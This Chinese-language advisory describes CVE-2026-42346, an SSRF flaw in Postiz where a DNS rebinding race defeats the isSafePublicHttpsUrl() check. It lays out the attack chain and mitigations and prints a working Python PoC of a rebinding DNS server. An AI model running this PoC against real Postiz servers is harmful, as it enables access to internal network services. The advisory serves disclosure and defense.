IPBUF安全漏洞报告
English
CVE-2026-42346 CVSS 6.5 中危

CVE-2026-42346 Postiz SSRF漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42346
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Postiz

相关标签

SSRFDNS RebindingTOCTOUPostizCVE-2026-42346

漏洞概述

Postiz是一款AI社交媒体调度工具。在2.16.6至2.21.7之前的版本中,该工具存在一个严重的服务端请求伪造(SSRF)漏洞。问题源于v2.21.4至v2.21.6版本中添加的SSRF防护措施存在根本性的TOCTOU(Time-of-Check-Time-of-Use)竞态条件漏洞。具体而言,isSafePublicHttpsUrl()函数在检查时解析DNS以验证目标IP,但随后的fetch()调用会独立解析DNS。控制DNS服务器的攻击者可以利用这一时间差,通过DNS重绑定攻击将请求重定向到内部网络地址,从而绕过安全检查并访问内网资源。

技术细节

该漏洞的核心原理是TOCTOU(检查时与使用时的竞争条件)。在Postiz的实现中,SSRF防护逻辑分为两个步骤:首先调用isSafePublicHttpsUrl()对用户提供的URL进行DNS解析,并检查解析出的IP地址是否属于公网合法地址;其次,在验证通过后,调用fetch()函数实际发起HTTP请求。关键问题在于,这两个步骤分别进行了DNS查询,且没有绑定DNS解析结果。攻击者可以搭建恶意的DNS服务器,初始将域名解析为一个合法的公网IP(如1.1.1.1),使其通过第一步检查。在通过检查后的极短时间内(即发起fetch请求之前),攻击者控制DNS服务器将同一域名解析为一个内网IP(如127.0.0.1或192.168.x.x)。由于fetch()会重新进行DNS查询,请求最终被发送到了内部网络地址。这种DNS重绑定技术使得攻击者能够绕过IP黑名单/白名单机制,探测或攻击内网服务。

攻击链分析

STEP 1
步骤1
攻击者准备恶意域名,并搭建受控的DNS服务器,配置DNS重绑定规则。
STEP 2
步骤2
攻击者向Postiz服务器发送包含恶意域名的请求。
STEP 3
步骤3
Postiz调用isSafePublicHttpsUrl()进行校验,此时DNS解析为合法公网IP,校验通过。
STEP 4
步骤4
攻击者控制DNS服务器将解析结果切换为内网IP(如127.0.0.1)。
STEP 5
步骤5
Postiz调用fetch()发起请求,DNS重新解析指向内网,导致SSRF攻击成功。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC: DNS Rebinding Server for CVE-2026-42346 # This script simulates a malicious DNS server to exploit the TOCTOU race condition. from dnslib import DNSRecord, DNSHeader, RR, A, QTYPE import socket class DNSRebindServer: def __init__(self, safe_ip, internal_ip): self.safe_ip = safe_ip self.internal_ip = internal_ip self.query_count = {} def handle(self, data): request = DNSRecord.parse(data) qname = str(request.q.qname) qtype = request.q.qtype if qname not in self.query_count: self.query_count[qname] = 0 reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) if qtype == QTYPE.A: # First query returns Safe IP to bypass isSafePublicHttpsUrl() # Subsequent queries return Internal IP for fetch() if self.query_count[qname] == 0: ip = self.safe_ip else: ip = self.internal_ip self.query_count[qname] += 1 reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0)) return reply.pack() # Exploit Logic: # 1. Attacker runs this DNS server. # 2. Attacker sends URL http://attacker-controlled-domain.com to Postiz. # 3. Postiz calls isSafePublicHttpsUrl() -> DNS returns 1.1.1.1 (Safe) -> Check passes. # 4. Postiz calls fetch() -> DNS returns 127.0.0.1 (Internal) -> SSRF occurs.

影响范围

Postiz >= 2.16.6, < 2.21.7

防御指南

临时缓解措施
建议立即将Postiz升级至v2.21.7版本。如果无法立即升级,应严格限制应用服务器的出站网络访问权限,通过防火墙规则阻断对内网保留IP段(如127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)的连接请求。

参考链接